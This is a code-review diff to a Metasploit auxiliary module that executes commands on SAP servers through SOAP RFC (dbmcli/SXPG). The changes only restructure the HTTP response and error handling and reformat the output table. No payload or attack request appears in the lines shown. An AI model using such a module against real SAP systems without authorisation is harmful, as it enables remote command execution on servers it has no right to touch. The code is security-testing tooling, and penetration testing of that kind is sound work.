Made requested changes

Author: nmonkee

modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

@@ -108,26 +108,27 @@ def exec_command(ip,data)
 						'Content-Type' => 'text/xml; charset=UTF-8'
 						}
 				}, 45)
-			if res and res.code != 500 and res.code != 200
-				print_error("[SAP] #{ip}:#{rport} - something went wrong!")
-				return
-			elsif res and res.body =~ /faultstring/
-				error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
-				0.upto(output.length-1) do |i|
-					print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+			if res
+				if res.code != 500 and res.code != 200
+					print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+					return
+				elsif res.body =~ /faultstring/
+					error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
+					0.upto(output.length-1) do |i|
+						print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+					end
+					return
 				end
-				return
-			elsif res
 				print_status("[SAP] #{ip}:#{rport} - got response")
 				output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
 				result = []
 				0.upto(output.length-1) do |i|
 					if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
-						#nothing
+					#nothing
 					elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
-						#nothing
+					#nothing
 					elsif output[i] =~ /External program terminated with exit code/
-						#nothing
+					#nothing
 					else
 						temp = output[i].gsub("&#62",">")
 						temp_ = temp.gsub("&#34","\"")
@@ -143,18 +144,17 @@ def exec_command(ip,data)
 					'Indent'  => 1,
 					'Columns' =>["Output"]
 					)
-				for i in 0..result.length/2-1
+				0.upto(result.length/2-1) do |i|
 					saptbl << [result[i].chomp]
 				end
 				print (saptbl.to_s)
 				return
 			else
-				print_error("[SAP] #{ip}:#{rport} - Unknown error")
-				return
+				print_error("[SAP] #{ip}:#{rport} - no response")
 			end
 		rescue ::Rex::ConnectionError
 			print_error("[SAP] #{ip}:#{rport} - Unable to connect")
 			return
 		end
 	end
-end
+end